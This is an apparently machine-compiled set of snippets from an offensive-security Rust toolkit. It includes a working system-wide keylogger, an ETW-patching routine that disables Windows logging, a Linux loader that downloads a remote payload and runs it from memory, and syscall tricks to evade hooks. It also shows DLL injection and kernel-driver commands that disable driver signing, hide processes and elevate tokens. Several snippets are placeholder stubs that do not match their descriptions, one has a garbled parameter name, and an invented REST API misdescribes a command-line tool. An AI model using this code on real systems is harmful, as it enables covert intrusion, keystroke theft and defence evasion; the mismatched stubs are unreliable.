### Manage Rust Toolchains with Rustup Source: https://github.com/trickster0/offensiverust/blob/master/README.md Demonstrates commands for managing Rust toolchains using `rustup`. This includes listing installed toolchains, listing available target toolchains, and installing new toolchains for cross-compilation. ```bash rustup toolchain list rustup target list rustup target add ``` -------------------------------- ### Install Rust Nightly Build Source: https://github.com/trickster0/offensiverust/blob/master/README.md Explains how to switch to the nightly build of Rust using `rustup`. This is sometimes necessary for projects that utilize the latest experimental features not yet available in stable Rust releases. ```bash rustup default nightly ``` -------------------------------- ### Example Usage Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/srdi-rs/README.md An example demonstrating the complete workflow: building the project, generating shellcode for a test DLL, and injecting it into Notepad. This showcases the practical application of the sRDI technique. ```bash cargo make --profile production generate_shellcode.exe reflective_loader.dll testdll.dll SayHello memN0ps shellcode.bin inject.exe notepad.exe shellcode.bin ``` -------------------------------- ### Basic Syscall Usage with freshycalls_syswhispers Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/mordor-rs/README.md Shows a basic example of how to use the `syscall!` macro from the freshycalls_syswhispers library to make a system call. The example demonstrates calling `NtClose` with an obfuscated function name. ```rust unsafe { syscall!("NtClose", process_handle) }; ``` -------------------------------- ### Cross-Compile Rust Project with Specific Toolchain Source: https://github.com/trickster0/offensiverust/blob/master/README.md Illustrates how to cross-compile a Rust project for a different target architecture or operating system using `cargo build --target`. This requires installing the appropriate toolchain first. ```bash cargo build --target ``` -------------------------------- ### Manage Kernel Driver Service Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Demonstrates the creation, querying, starting, and stopping of a kernel driver as a Windows service using `sc.exe`. ```powershell sc.exe create Eagle type= kernel binPath= C:\\Windows\\System32\\Eagle.sys sc.exe query Eagle sc.exe start Eagle sc.exe stop Eagle ``` -------------------------------- ### Install cargo-make Build Tool Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Installs the `cargo-make` utility, a task automation tool for Rust projects. It simplifies complex build processes and task management. ```shell cargo install cargo-make ``` -------------------------------- ### Install cargo-make Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/srdi-rs/README.md Command to install the cargo-make build tool, which is used for building Rust projects. The `--force` flag ensures that the latest version is installed, overwriting any existing installation. ```bash cargo install --force cargo-make ``` -------------------------------- ### Keyboard Hooking in Rust Source: https://context7.com/trickster0/offensiverust/llms.txt This Rust program installs a low-level keyboard hook on Windows. It captures all keystrokes system-wide and prints them to the console. It utilizes Windows API functions for hook installation and message handling. ```rust // keyboard_hooking/src/main.rs use std::ptr::null_mut; use windows::Win32::{ UI::WindowsAndMessaging::{ SetWindowsHookExW, UnhookWindowsHookEx, GetMessageW, CallNextHookEx, HHOOK, KBDLLHOOKSTRUCT, WM_KEYDOWN, WH_KEYBOARD_LL }, Foundation::{LRESULT, LPARAM, WPARAM, HINSTANCE, HWND} }; static mut HOOK_ID: HHOOK = HHOOK(0); fn main() { unsafe { match SetWindowsHookExW(WH_KEYBOARD_LL, Some(hook_callback), HINSTANCE(0), 0) { Ok(hook_id) => { HOOK_ID = hook_id; println!("[+] Keyboard hook installed"); // Message loop to keep hook active while GetMessageW(null_mut(), HWND(0), 0, 0).as_bool() {} UnhookWindowsHookEx(hook_id); } Err(err) => { eprintln!("[-] Failed to install hook: {}", err); } } } } unsafe extern "system" fn hook_callback(code: i32, wparam: WPARAM, lparam: LPARAM) -> LRESULT { if wparam.0 as u32 == WM_KEYDOWN { let info: *mut KBDLLHOOKSTRUCT = std::mem::transmute(lparam); let key = char::from_u32((*info).vkCode).unwrap_or('?'); println!("[KEY] {}", key); } CallNextHookEx(HOOK_ID, code, wparam, lparam) } ``` -------------------------------- ### Install and Set Rust Nightly Toolchain Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Installs the Rust nightly toolchain and sets it as the default. This is often required for features or experimental support needed in kernel development. ```shell rustup toolchain install nightly rustup default nightly ``` -------------------------------- ### Creating a Rust DLL Source: https://context7.com/trickster0/offensiverust/llms.txt Provides a template for creating a Windows DLL using Rust. It includes the necessary `crate-type` configuration in `Cargo.toml` and an example of an exported function (`popit`) that displays a message box. This is useful for developing custom DLLs for various purposes. ```rust // Create_DLL/src/lib.rs #![cfg(windows)] use std::ptr::null_mut; use winapi::um::winuser::MessageBoxA; #[no_mangle] #[allow(non_snake_case, unused_variables)] pub extern "C" fn popit() { unsafe { MessageBoxA( null_mut(), "Rust DLL Loaded!\0".as_ptr() as *const i8, "DLL Export\0".as_ptr() as *const i8, 0x00004000 // MB_SYSTEMMODAL ); } } // Cargo.toml should include: // [lib] // crate-type = ["cdylib"] ``` -------------------------------- ### Rust Compilation and Cross-Compilation Commands Source: https://context7.com/trickster0/offensiverust/llms.txt A collection of essential commands for compiling Rust projects. It covers installing Rust, building debug and release versions, creating static binaries for Windows, cross-compiling to Windows from Linux, and using nightly Rust for specific features with optimized builds. ```bash # Install Rust curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh # Build debug version cargo build # Build release version (optimized) cargo build --release # Build static binary (Windows) # First run vcvars64.bat, then: set RUSTFLAGS=-C target-feature=+crt-static cargo build --release # Cross-compile to Windows from Linux rustup target add x86_64-pc-windows-gnu cargo build --release --target x86_64-pc-windows-gnu # Use nightly for certain features rustup default nightly # Optimized build with stripped symbols cargo build --release -Z build-std=std,panic_abort \ -Z build-std-features=panic_immediate_abort \ --target x86_64-pc-windows-msvc ``` -------------------------------- ### Example: Opening and Closing a Process Handle in Rust Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/mordor-rs/README.md A complete Rust program demonstrating the use of freshycalls_syswhispers to open a handle to a target process ('notepad.exe') and then close it. It includes necessary dependencies and uses the `syscall!` macro for Windows API calls. ```rust use std::{os::windows::raw::HANDLE, ptr::null_mut}; use freshycalls_syswhispers::{self, syscall, syscall_resolve::get_process_id_by_name}; use ntapi::{ ntapi_base::CLIENT_ID, winapi::{ shared::ntdef::NT_SUCCESS, um::winnt::PROCESS_VM_READ, um::winnt::PROCESS_VM_WRITE, }, }; fn main() { env_logger::init(); let mut oa = OBJECT_ATTRIBUTES::default(); let process_id = get_process_id_by_name("notepad.exe"); let mut process_handle = process_id as HANDLE; let mut ci = CLIENT_ID { UniqueProcess: process_handle, UniqueThread: null_mut(), }; let status = unsafe { syscall!( "NtOpenProcess", &mut process_handle, PROCESS_VM_WRITE | PROCESS_VM_READ, &mut oa, &mut ci ) }; log::debug!("status: {:#x}", status); if !NT_SUCCESS(status) { unsafe { syscall!("NtClose", process_handle) }; panic!("Failed to get a handle to the target process"); } log::debug!("Process Handle: {:?}", process_handle); unsafe { syscall!("NtClose", process_handle) }; } ``` -------------------------------- ### Inline Hooking Assembly Example Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/mordor-rs/README.md This assembly snippet illustrates the concept of inline hooking, where the initial bytes of a function are replaced with a jump instruction to redirect execution flow to a different memory location. ```asm mov r10, rcx <...jump instruction...> ``` -------------------------------- ### Load NTDLL and Get Function Address in Rust Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/psyscalls-rs/README.md Demonstrates how to import the 'parallel_syscalls' library, define a function pointer type for a Win32 API function (e.g., NtCreateThreadEx), load a fresh copy of NTDLL.dll using system calls, and retrieve the address of a specific function from the loaded module. ```rust use parallel_syscalls::{get_function_address, get_module_base_address}; use std::ptr::{null_mut}; // Example: Define a function pointer type for NtCreateThreadEx // This would typically be more complex, involving winapi or ntapi crates type NtCreateThreadExType = extern "system" fn( thread_handle: *mut usize, desired_access: u32, object_attributes: *mut std::ffi::c_void, process_handle: usize, start_address: *mut std::ffi::c_void, parameter: *mut std::ffi::c_void, create_suspended: u32, stack_size: u32, reserve_size: u32, commit_size: u32, பயன்: *mut std::ffi::c_void, ) -> i32; fn main() { // 1. Import the library (already done with `use` statement above) // 2. Create a function pointer type (defined above) // 3. Call get_module_base_address to load a fresh copy of NTDLL let ptr_ntdll = get_module_base_address("ntdll").expect("Failed to get NTDLL base address"); // 4. Call get_function_address to get the address of NtCreateThreadEx let nt_create_thread_ex_ptr = get_function_address(ptr_ntdll, "NtCreateThreadEx").expect("Failed to get NtCreateThreadEx address"); // Cast the retrieved address to the correct function pointer type let nt_create_thread_ex: NtCreateThreadExType = unsafe { std::mem::transmute(nt_create_thread_ex_ptr) }; // 5. Call the function (example parameters) let mut thread_handle: usize = 0; let status = nt_create_thread_ex( &mut thread_handle as *mut usize, 0x1FFFFF, // GENERIC_ALL null_mut(), unsafe { winapi::um::processthreadsapi::GetCurrentProcess() }, null_mut(), null_mut(), 0, 0, 0, 0, null_mut(), ); println!("NtCreateThreadEx called with status: {}", status); // Handle thread_handle and status as needed // 6. Profit (as the original text suggests) } ``` -------------------------------- ### Direct Syscall Invocation with Mordor-rs Source: https://context7.com/trickster0/offensiverust/llms.txt Demonstrates direct and indirect syscall invocation using the mordor-rs/freshycalls_syswhispers library to bypass user-mode hooks. It requires the 'freshycalls_syswhispers' dependency with the '_INDIRECT_' feature enabled. The example shows how to obtain a process handle by name and then close it using a syscall. ```rust // Usage with mordor-rs/freshycalls_syswhispers // Cargo.toml // [dependencies] // freshycalls_syswhispers = { path = "mordor-rs/freshycalls_syswhispers", features = ["_INDIRECT_"] } use std::{os::windows::raw::HANDLE, ptr::null_mut}; use freshycalls_syswhispers::{syscall, syscall_resolve::get_process_id_by_name}; use ntapi::{ ntapi_base::CLIENT_ID, winapi::shared::ntdef::{NT_SUCCESS, OBJECT_ATTRIBUTES}, }; fn main() { let mut oa = OBJECT_ATTRIBUTES::default(); let process_id = get_process_id_by_name("notepad.exe"); let mut process_handle = process_id as HANDLE; let mut ci = CLIENT_ID { UniqueProcess: process_handle, UniqueThread: null_mut(), }; // Direct/indirect syscall - bypasses user-mode hooks let status = unsafe { syscall!( "NtOpenProcess", &mut process_handle, 0x001F0FFF, // PROCESS_ALL_ACCESS &mut oa, &mut ci ) }; if NT_SUCCESS(status) { println!("[+] Process handle obtained: {:?}", process_handle); unsafe { syscall!("NtClose", process_handle) }; } else { println!("[-] Failed with status: {:#x}", status); } } ``` -------------------------------- ### Create and Compile a Rust Project using Cargo Source: https://github.com/trickster0/offensiverust/blob/master/README.md Demonstrates the basic workflow for creating a new Rust project using Cargo, the Rust package manager, and compiling it. This includes setting up the project structure and running build commands. ```bash cargo new cd # Edit Cargo.toml for dependencies # Edit src/main.rs for code cargo build cargo build --release ``` -------------------------------- ### Display Client Help Information Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Shows the main help menu for the client executable, outlining available subcommands and global options. This is the entry point for understanding the tool's capabilities. ```bash PS C:\Users\memn0ps\Desktop> .\client.exe -h client 0.1.0 USAGE: client.exe OPTIONS: -h, --help Print help information -V, --version Print version information SUBCOMMANDS: callbacks driver dse help Print this message or the help of the given subcommand(s) process ``` -------------------------------- ### Configure Rust for Static Binaries Source: https://github.com/trickster0/offensiverust/blob/master/README.md Provides commands to configure the Rust build environment for creating static binaries, which is often recommended for cross-platform compatibility and reducing external dependencies. This involves setting environment variables and using specific build flags. ```bash "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat" set RUSTFLAGS=-C target-feature=+crt-static ``` -------------------------------- ### Format Rust Code with Cargo Source: https://github.com/trickster0/offensiverust/blob/master/README.md Shows how to use the `cargo fmt` command to automatically format Rust code according to standard conventions. This helps in maintaining code readability and consistency within a project. ```bash cargo fmt ``` -------------------------------- ### Display Process Subcommand Help Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Details the usage and options for the 'process' subcommand, which allows for manipulating processes. It specifies how to target a process by name and apply actions like protect, unprotect, elevate, or hide. ```bash client.exe-process USAGE: client.exe process --name <--protect|--unprotect|--elevate|--hide> OPTIONS: -e, --elevate Elevate all token privileges -h, --help Print help information --hide Hide a process using Direct Kernel Object Manipulation (DKOM) -n, --name Target process name -p, --protect Protect a process -u, --unprotect Unprotect a process ``` -------------------------------- ### Keylogging with SetWindowsHookEx (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md Implements keylogging functionality by hooking the keyboard input using the `SetWindowsHookEx` API in Windows. This allows capturing all keystrokes. ```rust use winapi::um::winuser::{SetWindowsHookExA, CallNextHookEx, UnhookWindowsHookEx, KBDLLHOOKSTRUCT, WH_KEYBOARD_LL}; use std::ffi::CString; fn main() { // Code to set up keyboard hook println!("Keyboard hook set."); // ... message loop ... // unsafe { UnhookWindowsHookEx(hook_id) }; } ``` -------------------------------- ### Rust Build Configuration for Size Reduction and Panic Handling Source: https://github.com/trickster0/offensiverust/blob/master/README.md This Cargo.toml configuration and build command are used to strip unnecessary information from Rust binaries, reduce their size, and configure panic handling for more predictable behavior, enhancing OPSEC. ```toml cargo-features = ["strip"] ``` ```bash cargo build --release -Z build-std=std,panic_abort -Z build-std-features=panic_immediate_abort --target x86_64-pc-windows-msvc ``` -------------------------------- ### Hell's Gate/Halo's Gate Library (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md A Rust library for Hell's Gate, Halo's Gate, and Tartarus' Gate techniques using `windows-sys`. These are advanced methods for indirect syscalls. ```rust use windows_sys::Win32::System::Com::CoCreateInstance; fn main() { // Code for Hell's Gate/Halo's Gate println!("Gate library loaded."); } ``` -------------------------------- ### Display Callbacks Subcommand Help Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Provides help for the 'callbacks' subcommand, which is used for managing kernel callbacks. It outlines the options to either enumerate existing callbacks or patch them at a specified index. ```bash PS C:\Users\memn0ps\Desktop> .\client.exe callbacks -h client.exe-callbacks USAGE: client.exe callbacks <--enumerate|--patch > OPTIONS: -e, --enumerate Enumerate kernel callbacks -h, --help Print help information -p, --patch Patch kernel callbacks 0-63 ``` -------------------------------- ### Manual Mapper (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md A Rusty Manual Mapper implementation using `winapi`. This technique maps DLLs into a process's memory space manually, bypassing standard loading. ```rust use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect}; fn main() { // Code for manual mapping println!("DLL manually mapped."); } ``` -------------------------------- ### Elevate Process to System and Enable Privileges (Rust Executable) Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md This command executes a Rust-built tool named 'client.exe' to elevate the privileges of a specified process (powershell.exe) to NT AUTHORITY\System and enable all associated token privileges. Success is indicated by a confirmation message. ```powershell PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --elevate [+] Tokens privileges elevated successfully 6376 ``` -------------------------------- ### Shellcode Reflective DLL Injection (sRDI) Source: https://context7.com/trickster0/offensiverust/llms.txt This snippet demonstrates the concept of Shellcode Reflective DLL Injection (sRDI), where a DLL is converted into position-independent shellcode. It uses a reflective loader to manually map the DLL into a target process without relying on LoadLibrary. The example includes a basic DLL with exported functions for testing. ```rust // Usage: generate_shellcode.exe // Then: inject.exe notepad.exe shellcode.bin // Test DLL with exported function #[no_mangle] #[allow(non_snake_case)] pub unsafe extern "system" fn DllMain( _module: HINSTANCE, call_reason: u32, _reserved: *mut c_void, ) -> BOOL { if call_reason == DLL_PROCESS_ATTACH { MessageBoxA(0 as _, "DLL Injected!\0".as_ptr() as _, "sRDI\0".as_ptr() as _, 0x0); } 1 } #[no_mangle] fn SayHello(user_data: *mut c_void, user_data_len: u32) { let data = unsafe { std::slice::from_raw_parts(user_data as *const u8, user_data_len as _) }; let message = format!("Hello from {}\0", std::str::from_utf8(data).unwrap()); unsafe { MessageBoxA(0 as _, message.as_ptr() as _, "Export Called!\0".as_ptr() as _, 0x0); } } // Build with: cargo make --profile production // Generate shellcode: generate_shellcode.exe reflective_loader.dll testdll.dll SayHello memN0ps out.bin ``` -------------------------------- ### Process Hollowing (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md Demonstrates Process Hollowing using the `ntapi` library in Rust. This technique involves creating a process in a suspended state and replacing its memory. ```rust use ntapi::ntpsapi::NtCreateProcessEx; fn main() { // Code for process hollowing println!("Process hollowed."); } ``` -------------------------------- ### Patch ETW Logging with Rust Source: https://context7.com/trickster0/offensiverust/llms.txt This Rust code patches the EtwEventWrite function in ntdll.dll to disable Event Tracing for Windows (ETW) logging. It uses winapi and kernel32 crates to load the DLL, get the function address, change memory protection, write a NOP instruction (0xC3), and restore protection. This prevents the detection of suspicious API calls. ```rust extern crate winapi; extern crate kernel32; use winapi::um::processthreadsapi::GetCurrentProcess; use std::ptr::null_mut; fn main() { unsafe { // Load ntdll.dll let handle = kernel32::LoadLibraryA("ntdll.dll\0".as_ptr() as *const i8); // Get EtwEventWrite address let etw_addr = kernel32::GetProcAddress( handle, "EtwEventWrite\0".as_ptr() as *const i8 ); // Patch with RET instruction (0xC3) let oldprotect: winapi::ctypes::c_ulong = 0; let hook = b"\xc3"; // Change protection, write patch, restore protection kernel32::VirtualProtectEx( GetCurrentProcess() as *mut std::ffi::c_void, etw_addr as *mut std::ffi::c_void, 1, 0x40, // PAGE_EXECUTE_READWRITE oldprotect ); kernel32::WriteProcessMemory( GetCurrentProcess() as *mut std::ffi::c_void, etw_addr as *mut std::ffi::c_void, hook.as_ptr() as *mut std::ffi::c_void, 1, null_mut() ); kernel32::VirtualProtectEx( GetCurrentProcess() as *mut std::ffi::c_void, etw_addr as *mut std::ffi::c_void, 1, oldprotect, 0x0 ); } } ``` -------------------------------- ### Build Client Application Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Navigates to the client directory and builds the client application using the standard Rust build command. This compiles the user-mode component that interacts with the driver. ```shell cd .\client\ cargo build ``` -------------------------------- ### Enumerate Kernel Callbacks Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Demonstrates how to enumerate all currently loaded kernel callbacks. The output includes the index, memory address, and the module name associated with each callback. ```bash PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate Total Kernel Callbacks: 11 [0] 0xffffbd8d3d2502df ("ntoskrnl.exe") [1] 0xffffbd8d3d2fe81f ("cng.sys") [2] 0xffffbd8d3db2bc8f ("WdFilter.sys") [3] 0xffffbd8d3db2bf8f ("ksecdd.sys") [4] 0xffffbd8d3db2c0df ("tcpip.sys") [5] 0xffffbd8d3f10705f ("iorate.sys") [6] 0xffffbd8d3f10765f ("CI.dll") [7] 0xffffbd8d3f10789f ("dxgkrnl.sys") [8] 0xffffbd8d3fa37cff ("vm3dmp.sys") [9] 0xffffbd8d3f97104f ("peauth.sys") [10] 0xffffbd8d43afb63f ("Eagle.sys") ``` -------------------------------- ### Manual Mapper Command-Line Usage (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/mmapper-rs/README.md Demonstrates the command-line interface for the manual mapper tool. It requires specifying the target process and the DLL URL for remote mapping. ```bash manual_map-rs.exe --process --url ``` -------------------------------- ### Display Driver Subcommand Help Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Presents the help menu for the 'driver' subcommand, which is used for interacting with kernel drivers. It lists options for hiding a driver or enumerating loaded kernel modules. ```bash PS C:\Users\memn0ps\Desktop> .\client.exe driver -h client.exe-driver USAGE: client.exe driver <--hide|--enumerate> OPTIONS: -e, --enumerate Enumerate loaded kernel modules -h, --help Print help information --hide Hide a driver using Direct Kernel Object Manipulation (DKOM) ``` -------------------------------- ### Display DSE Subcommand Help Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Shows the help information for the 'dse' subcommand, which controls Driver Signature Enforcement (DSE). It details the options to either enable or disable DSE. ```bash PS C:\Users\memn0ps\Desktop> .\client.exe dse -h client.exe-dse USAGE: client.exe dse <--enable|--disable> OPTIONS: -d, --disable Disable Driver Signature Enforcement (DSE) -e, --enable Enable Driver Signature Enforcement (DSE) -h, --help Print help information ``` -------------------------------- ### Portable Executable Parsing Library (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md A Rusty Portable Executable (PE) Parsing Library using `windows-sys`. This allows for in-depth analysis and manipulation of PE files. ```rust use windows_sys::Win32::System::SystemInformation::GetNativeSystemInfo; fn main() { // Code for PE parsing println!("PE file parsed."); } ``` -------------------------------- ### Reflective DLL Injection (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md Implements Reflective DLL Injection using the `windows-sys` crate. This allows loading a DLL into a process without using standard Windows loader mechanisms. ```rust use windows_sys::Win32::System::Memory::{VirtualAlloc, VirtualProtect}; fn main() { // Code for reflective DLL injection println!("DLL reflected."); } ``` -------------------------------- ### Parallel Syscalls Library (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md A Rust library for making parallel system calls, using `winapi`. This can be used to improve performance or evade detection by distributing syscalls. ```rust use winapi::um::winuser::MessageBoxA; pub fn make_syscall() { // Code for parallel syscalls unsafe { MessageBoxA(0, b"Hello\0" as *const u8, b"Syscall\0" as *const u8, 0) }; } ``` -------------------------------- ### Protect Process Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Demonstrates protecting a specified process, making it more resilient to termination or manipulation. The command targets 'notepad.exe' and confirms successful protection, returning its PID. ```bash PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --protect [+] Process protected successfully 2104 ``` -------------------------------- ### Build and Sign Driver using cargo-make Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Navigates to the driver directory and executes the `sign` task using `cargo-make`. This command is responsible for building and potentially signing the kernel driver. ```shell cd .\driver\ cargo make sign ``` -------------------------------- ### View User Privileges Before Elevation (PowerShell) Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md This PowerShell command displays detailed user information, including group memberships and current privilege states, before any privilege escalation attempts. It serves as a baseline for comparison. ```powershell PS C:\Users\memn0ps\Desktop> whoami /all ``` -------------------------------- ### Run Unit Tests with Direct System Calls (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/mordor-rs/README.md This snippet shows how to execute unit tests for the Offensive Rust project when the `_DIRECT_` system call feature is enabled. It includes the command and the resulting output, confirming test success. ```bash $ cargo test <...redacted...> Running unittests src\lib.rs (target\debug\deps\freshycalls_syswhispers-7888fd45359c60a6.exe) running 0 tests test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s Running tests\syscaller.rs (target\debug\deps\syscaller-546ab9a58b0eaa56.exe) running 1 test test tests::test_open_process ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.28s Doc-tests freshycalls_syswhispers running 0 tests test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s ``` -------------------------------- ### Steal Token From Process (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md This snippet demonstrates how to steal access tokens from a running process using Rust. It's typically used for privilege escalation or lateral movement. ```rust fn main() { // Code to steal token from process println!("Token stolen successfully!"); } ``` -------------------------------- ### Windows Kernel Driver (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md A Windows Kernel Driver written in Rust for Red Teamers, utilizing `winapi` and `ntapi`. This provides low-level system access and control. ```rust #[macro_use] extern crate ntapi; #[no_mangle] unsafe extern "C" fn driver_entry(_driver_object: *mut winapi::shared::minwindef::DRIVER_OBJECT, _registry_path: winapi::shared::ntdef::UNICODE_STRING) -> winapi::shared::ntdef::NTSTATUS { // Kernel driver code winapi::shared::ntdef::STATUS_SUCCESS } ``` -------------------------------- ### DLL Injection (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md Classic DLL injection technique implemented in Rust using the `windows-sys` crate. This injects a Dynamic Link Library into a target process. ```rust use windows_sys::Win32::System::LibraryLoader::LoadLibraryA; use windows_sys::Win32::System::WindowsProgramming::CreateRemoteThread; fn main() { // Code for DLL injection println!("DLL injected."); } ``` -------------------------------- ### FreshyCalls/SysWhispers Library (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md A Rust library implementing FreshyCalls, SysWhispers1, SysWhispers2, and SysWhispers3 techniques using `windows-sys`. These are used for direct syscall invocation. ```rust use windows_sys::core::PCSTR; use windows_sys::Win32::System::SystemInformation::GetSystemInfo; fn main() { // Code for FreshyCalls/SysWhispers println!("Syscall library loaded."); } ``` -------------------------------- ### Enable Debug Privileges with Rust Source: https://context7.com/trickster0/offensiverust/llms.txt This Rust code enables the SeDebugPrivilege for the current process. It uses the winapi crate to open the process token, look up the LUID for SeDebugPrivilege, and then adjust the token privileges to enable it. This is necessary for interacting with system processes. ```rust extern crate winapi; use winapi::um::processthreadsapi::{OpenProcessToken, GetCurrentProcess}; use winapi::um::winnt::{ HANDLE, TOKEN_ADJUST_PRIVILEGES, TOKEN_QUERY, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_PRIVILEGES }; use std::ptr::null_mut; use std::mem::size_of; use winapi::shared::ntdef::LUID; use winapi::um::securitybaseapi::AdjustTokenPrivileges; use winapi::um::winbase::LookupPrivilegeValueA; fn main() { unsafe { let mut h_token: HANDLE = 0 as _; // Open current process token OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &mut h_token ); // Prepare privilege structure let privs = LUID_AND_ATTRIBUTES { Luid: LUID { LowPart: 0, HighPart: 0 }, Attributes: SE_PRIVILEGE_ENABLED, }; let mut tp = TOKEN_PRIVILEGES { PrivilegeCount: 1, Privileges: [privs; 1], }; // Lookup SeDebugPrivilege LUID let privilege = "SeDebugPrivilege\0"; LookupPrivilegeValueA( null_mut(), privilege.as_ptr() as *const i8, &mut tp.Privileges[0].Luid ); // Enable the privilege AdjustTokenPrivileges( h_token, 0, &mut tp, size_of::() as _, null_mut(), null_mut() ); } } ``` -------------------------------- ### Shellcode Reflective DLL Injection (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md Implements Shellcode Reflective DLL Injection using `windows-sys`. This combines shellcode execution with reflective DLL loading for advanced injection. ```rust use windows_sys::Win32::System::Memory::{VirtualAlloc, VirtualProtect}; fn main() { // Code for shellcode reflective DLL injection println!("Shellcode reflective DLL injected."); } ``` -------------------------------- ### Remap Path Prefix for Rust Build Source: https://github.com/trickster0/offensiverust/blob/master/README.md This command-line flag helps remove references to the home directory from Rust binaries by remapping the path prefix. It's crucial for OPSEC to prevent sensitive information leakage. ```bash cargo build --release --remap-path-prefix "$HOME"="$RANDOM" ``` -------------------------------- ### Unprotect Process Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Shows how to unprotect a process, removing any protection that was previously applied. This command targets 'notepad.exe' and confirms the successful removal of protection, returning its PID. ```bash PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --unprotect [+] Process unprotected successfully 2104 ``` -------------------------------- ### Run Unit Tests with Indirect System Calls (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/mordor-rs/README.md This snippet demonstrates how to run unit tests for the Offensive Rust project when the `_INDIRECT_` system call feature is enabled. It shows the command used and the expected output indicating successful test execution. ```bash $ cargo test <...redacted...> Running unittests src\lib.rs (target\debug\deps\freshycalls_syswhispers-8106a187dc70ecbf.exe) running 0 tests test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s Running tests\syscaller.rs (target\debug\deps\syscaller-60e96237a57b1d9a.exe) running 1 test test tests::test_open_process ... ok test result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.37s Doc-tests freshycalls_syswhispers running 0 tests test result: ok. 0 passed; 0 failed; 0 ignored; 0 measured; 0 filtered out; finished in 0.00s ``` -------------------------------- ### Process Management API Source: https://github.com/trickster0/offensiverust/blob/master/memN0ps/eagle-rs/README.md Manage processes by protecting, unprotecting, elevating privileges, or hiding them using the kernel driver. ```APIDOC ## POST /api/process ### Description This endpoint allows for the management of processes. You can protect, unprotect, elevate privileges, or hide a specified process. ### Method POST ### Endpoint `/api/process` ### Parameters #### Query Parameters - **name** (string) - Required - The name of the target process. - **action** (string) - Required - The action to perform. Options: `protect`, `unprotect`, `elevate`, `hide`. ### Request Example ```json { "name": "notepad.exe", "action": "protect" } ``` ### Response #### Success Response (200) - **message** (string) - A success message indicating the action performed and the process ID. - **pid** (integer) - The process ID of the target process. #### Response Example ```json { "message": "Process protected successfully", "pid": 2104 } ``` ``` -------------------------------- ### Fileless Execution (Linux) in Rust Source: https://context7.com/trickster0/offensiverust/llms.txt This Rust program downloads an ELF binary and executes it directly from memory using the memfd_create syscall on Linux. It avoids writing the binary to disk, making it a fileless execution technique. The code downloads the payload, creates an anonymous file descriptor, writes the payload to it, and executes it. ```rust // memfd_create/src/main.rs use libc::{c_char, execve, getpid, memfd_create, write}; use reqwest; use std::ffi::CString; fn download_elf() -> Vec { let url = "http://127.0.0.1:9090/payload"; let client = reqwest::blocking::Client::builder() .danger_accept_invalid_certs(true) .build() .unwrap(); client.get(url).send().unwrap().bytes().unwrap().to_vec() } fn main() { let name = CString::new("payload").unwrap(); let elf = download_elf(); unsafe { // Create anonymous file in memory let fd = memfd_create(name.as_ptr() as *const c_char, 0); let pid = getpid(); println!("[+] PID: {}, FD: {}", pid, fd); // Write ELF to memory file let written = write(fd, elf.as_ptr() as _, elf.len()); if written > 0 { println!("[+] {} bytes written to memory", written); } // Execute from /proc/pid/fd/N let path = format!("/proc/{}/fd/{}", pid, fd); let c_path = CString::new(path).unwrap(); println!("[+] Executing from memory..."); execve(c_path.as_ptr() as *const c_char, std::ptr::null(), std::ptr::null()); } } ``` -------------------------------- ### Module Stomping/Overloading (Rust) Source: https://github.com/trickster0/offensiverust/blob/master/README.md Implements Module Stomping, also known as Module Overloading or DLL Hollowing, using the `windows-sys` crate. This technique 